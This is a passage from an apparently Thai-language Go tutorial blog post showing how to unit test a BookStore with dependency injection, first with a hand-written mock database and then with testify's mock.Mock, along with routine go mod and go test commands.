	// &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE19; Database &#xE08;&#xE23;&#xE34;&#xE07;
	return nil
}

func (db *RealDatabase) DeleteBook(id int) error {
	// &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07;
	return nil
}

// BookStore &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Application
type BookStore struct {
	db BookDatabase
}

// NewBookStore &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore &#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Database &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;
func NewBookStore(db BookDatabase) *BookStore {
	return &amp;BookStore{db: db}
}

// GetBookTitle &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) GetBookTitle(id int) (string, error) {
	return bs.db.GetBook(id)
}

// AddBook &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) AddBook(title string) error {
	return bs.db.AddBook(title)
}

// DeleteBook &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
func (bs *BookStore) DeleteBook(id int) error {
	return bs.db.DeleteBook(id)
}
</code></pre><figcaption>bookstore.go</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>// bookstore_test.go

package bookstore

import (
	&quot;fmt&quot;
	&quot;testing&quot;

	&quot;github.com/stretchr/testify/assert&quot;
)

// MockDatabase &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Database &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
type MockDatabase struct {
	books map[int]string
}

func (db *MockDatabase) GetBook(id int) (string, error) {
	book, exists := db.books[id]
	if !exists {
		return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
	}
	return book, nil
}

func (db *MockDatabase) AddBook(title string) error {
	newID := len(db.books) + 1
	db.books[newID] = title
	return nil
}

func (db *MockDatabase) DeleteBook(id int) error {
	delete(db.books, id)
	return nil
}

func TestGetBookTitle(t *testing.T) {
	mockDB := &amp;MockDatabase{
		books: map[int]string{
			1: &quot;The Go Programming Language&quot;,
			2: &quot;Clean Code&quot;,
		},
	}

	bookStore := NewBookStore(mockDB)

	tests := []struct {
		name     string
		bookID   int
		expected string
		wantErr  bool
	}{
		{&quot;Existing book&quot;, 1, &quot;The Go Programming Language&quot;, false},
		{&quot;Another existing book&quot;, 2, &quot;Clean Code&quot;, false},
		{&quot;Non-existing book&quot;, 3, &quot;&quot;, true},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			got, err := bookStore.GetBookTitle(tt.bookID)
			if tt.wantErr {
				assert.Error(t, err)
				assert.Empty(t, got)
			} else {
				assert.NoError(t, err)
				assert.Equal(t, tt.expected, got)
			}
		})
	}
}

func TestAddBook(t *testing.T) {
	mockDB := &amp;MockDatabase{books: make(map[int]string)}
	bookStore := NewBookStore(mockDB)

	title := &quot;New Book&quot;
	err := bookStore.AddBook(title) // &#xE43;&#xE0A;&#xE49; method &#xE02;&#xE2D;&#xE07; BookStore

	assert.NoError(t, err)

	// &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE36;&#xE07;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE44;&#xE14;&#xE49;
	gotTitle, err := bookStore.GetBookTitle(1) // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; ID &#xE04;&#xE37;&#xE2D; 1
	assert.NoError(t, err)
	assert.Equal(t, title, gotTitle)
}

func TestDeleteBook(t *testing.T) {
	mockDB := &amp;MockDatabase{
		books: map[int]string{1: &quot;Book to Delete&quot;},
	}
	bookStore := NewBookStore(mockDB)

	// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;
	_, err := bookStore.GetBookTitle(1)
	assert.NoError(t, err)

	err = bookStore.DeleteBook(1) // &#xE43;&#xE0A;&#xE49; method &#xE02;&#xE2D;&#xE07; BookStore
	assert.NoError(t, err)

	// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE16;&#xE39;&#xE01;&#xE25;&#xE1A;&#xE44;&#xE1B;&#xE41;&#xE25;&#xE49;&#xE27;
	_, err = bookStore.GetBookTitle(1)
	assert.Error(t, err)
}
</code></pre><figcaption>bookstore_test.go</figcaption></figure><p><strong>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; mock.Mock &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Mock Database &#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;</strong></p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; &quot;<strong>github.com/stretchr/testify/mock</strong>&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; Package &quot;testify&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE40;&#xE04;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Mock Database &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Map</p><p>&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Map &#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; mock.Mock &#xE40;&#xE1B;&#xE47;&#xE19; Embedded Struct &#xE41;&#xE17;&#xE19;</p><p>mock.Mock &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;</p><figure class="kg-card kg-code-card"><pre><code>// MockDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; mock.Mock
type MockDatabase struct {
	mock.Mock // Embedded Struct
}</code></pre><figcaption>Code &#xE43;&#xE2B;&#xE21;&#xE48;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>// MockDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Database &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
type MockDatabase struct {
	books map[int]string
}</code></pre><figcaption>Code &#xE40;&#xE14;&#xE34;&#xE21;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;</figcaption></figure><p>&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49; <strong>m.Called()</strong> &#xE41;&#xE17;&#xE19; &quot;GetBook()&quot;, &quot;AddBook()&quot;, &#xE41;&#xE25;&#xE30; &quot;DeleteBook()&quot;</p><figure class="kg-card kg-code-card"><pre><code>func (m *MockDatabase) GetBook(id int) (string, error) {
    args := m.Called(id)
    return args.String(0), args.Error(1)
}</code></pre><figcaption>Method &quot;GetBook&quot; &#xE43;&#xE2B;&#xE21;&#xE48;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>func (db *MockDatabase) GetBook(id int) (string, error) {
	book, exists := db.books[id]
	if !exists {
		return &quot;&quot;, fmt.Errorf(&quot;book not found&quot;)
	}
	return book, nil
}</code></pre><figcaption>Method &quot;GetBook&quot; &#xE40;&#xE14;&#xE34;&#xE21;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;</figcaption></figure><p>m.Called() &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE08;&#xE32;&#xE01; mock.Mock &#xE42;&#xE14;&#xE22;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; m.Called(id) &#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE27;&#xE48;&#xE32; Method &quot;GetBook()&quot; &#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE14;&#xE49;&#xE27;&#xE22; Argument &quot;<strong>id</strong>&quot;</p><pre><code>args := m.Called(id)</code></pre><p>m.Called() &#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19; On().Return() </p><pre><code>return args.String(0), args.Error(1)</code></pre><p><strong>args.String(0)</strong> &#xE08;&#xE30;&#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; Return &#xE15;&#xE31;&#xE27;&#xE41;&#xE23;&#xE01;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; string<br><strong>args.Error(1)</strong> &#xE08;&#xE30;&#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; Return &#xE15;&#xE31;&#xE27;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; error</p><p>&#xE42;&#xE14;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02; 0 &#xE41;&#xE25;&#xE30; 1 &#xE2B;&#xE21;&#xE32;&#xE22;&#xE16;&#xE36;&#xE07;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE02;&#xE2D;&#xE07; Argument &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE19; <strong>On().Return(arg0, agr1) </strong>&#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>mockDB.On(&quot;GetBook&quot;, 1).Return(&quot;Go Programming&quot;, nil)</code></pre><p>Code &#xE43;&#xE2B;&#xE21;&#xE48;&#xE43;&#xE19; File &quot;bookstore_test.go&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; mock.Mock &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Map &#xE41;&#xE15;&#xE48; Logic &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21;</p><figure class="kg-card kg-code-card"><pre><code>// bookstore_test.go

package bookstore

import (
	&quot;testing&quot;

	&quot;github.com/stretchr/testify/assert&quot;
	&quot;github.com/stretchr/testify/mock&quot;
)

// MockDatabase &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; mock.Mock
type MockDatabase struct {
	mock.Mock
}

func (m *MockDatabase) GetBook(id int) (string, error) {
	args := m.Called(id)
	return args.String(0), args.Error(1)
}

func (m *MockDatabase) AddBook(title string) error {
	args := m.Called(title)
	return args.Error(0)
}

func (m *MockDatabase) DeleteBook(id int) error {
	args := m.Called(id)
	return args.Error(0)
}

func TestGetBookTitle(t *testing.T) {
	mockDB := new(MockDatabase)
	bookStore := NewBookStore(mockDB)

	tests := []struct {
		name     string
		bookID   int
		mockResp string
		mockErr  error
		wantErr  bool
	}{
		{&quot;Existing book&quot;, 1, &quot;The Go Programming Language&quot;, nil, false},
		{&quot;Another existing book&quot;, 2, &quot;Clean Code&quot;, nil, false},
		{&quot;Non-existing book&quot;, 3, &quot;&quot;, assert.AnError, true},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			mockDB.On(&quot;GetBook&quot;, tt.bookID).Return(tt.mockResp, tt.mockErr)

			got, err := bookStore.GetBookTitle(tt.bookID)

			if tt.wantErr {
				assert.Error(t, err)
				assert.Empty(t, got)
			} else {
				assert.NoError(t, err)
				assert.Equal(t, tt.mockResp, got)
			}

			mockDB.AssertExpectations(t)
		})
	}
}

func TestAddBook(t *testing.T) {
	mockDB := new(MockDatabase)
	bookStore := NewBookStore(mockDB)

	title := &quot;New Book&quot;
	mockDB.On(&quot;AddBook&quot;, title).Return(nil)
	mockDB.On(&quot;GetBook&quot;, 1).Return(title, nil)

	err := bookStore.AddBook(title)
	assert.NoError(t, err)

	gotTitle, err := bookStore.GetBookTitle(1)
	assert.NoError(t, err)
	assert.Equal(t, title, gotTitle)

	mockDB.AssertExpectations(t)
}

func TestDeleteBook(t *testing.T) {
	mockDB := new(MockDatabase)
	bookStore := NewBookStore(mockDB)

	mockDB.On(&quot;GetBook&quot;, 1).Return(&quot;Book to Delete&quot;, nil).Once()
	mockDB.On(&quot;DeleteBook&quot;, 1).Return(nil)
	mockDB.On(&quot;GetBook&quot;, 1).Return(&quot;&quot;, assert.AnError)

	_, err := bookStore.GetBookTitle(1)
	assert.NoError(t, err)

	err = bookStore.DeleteBook(1)
	assert.NoError(t, err)

	_, err = bookStore.GetBookTitle(1)
	assert.Error(t, err)

	mockDB.AssertExpectations(t)
}</code></pre><figcaption>bookstore_test.go &#xE43;&#xE2B;&#xE21;&#xE48;</figcaption></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong><br>1. assert.AnError &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE48;&#xE32; Error &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; nil &#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35; Error &#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE15;&#xE48;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Error &#xE2D;&#xE30;&#xE44;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE08;&#xE32;&#xE30;&#xE08;&#xE07;</p><p>2. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; mockDB.AssertExpectations() &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE17;&#xE38;&#xE01; Method &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE37;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE32;&#xE07; Method &#xE43;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Method &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; mockDB.On() &#xE41;&#xE25;&#xE49;&#xE27; AssertExpectations &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; bookstore
        &#x251C;&#x2500;&#x2500; bookstore.go
        &#x2514;&#x2500;&#x2500; bookstore_test.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/stretchr/testify/assert&quot;</p><pre><code>go get github.com/stretchr/testify/assert</code></pre><p>&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code> &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Dependency &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19; Project</p><pre><code>go mod tidy</code></pre><p>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -v &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; -count=1 <strong><strong><strong><strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Test &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23; Test &#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Cache</strong></strong></strong></strong></p><pre><code>go test -v -count=1 ./...</code></pre><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-21-at-10.10.59-AM-1.png" class="kg-image" alt loading="lazy" width="2000" height="1257" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-21-at-10.10.59-AM-1.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-21-at-10.10.59-AM-1.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-21-at-10.10.59-AM-1.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-21-at-10.10.59-AM-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; Mock Database &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE41;&#xE15;&#xE48; RealDatabase &#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE16;&#xE39;&#xE01;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Coverage &#xE15;&#xE48;&#xE33; &#xE16;&#xE49;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE44;&#xE14;&#xE49; <strong>&#xE04;&#xE27;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Test &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; RealDatabase &#xE14;&#xE49;&#xE27;&#xE22; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE04;&#xE27;&#xE23;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Integration Test </strong>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;</p><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; BookStore &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Inject &quot;RealDatabase&quot; &#xE43;&#xE19; main.go &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// main.go

package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;myproject/internal/bookstore&quot;
)

func main() {
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; RealDatabase
	realDB := &amp;bookstore.RealDatabase{}

	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore &#xE42;&#xE14;&#xE22; Inject RealDatabase
	store := bookstore.NewBookStore(realDB)

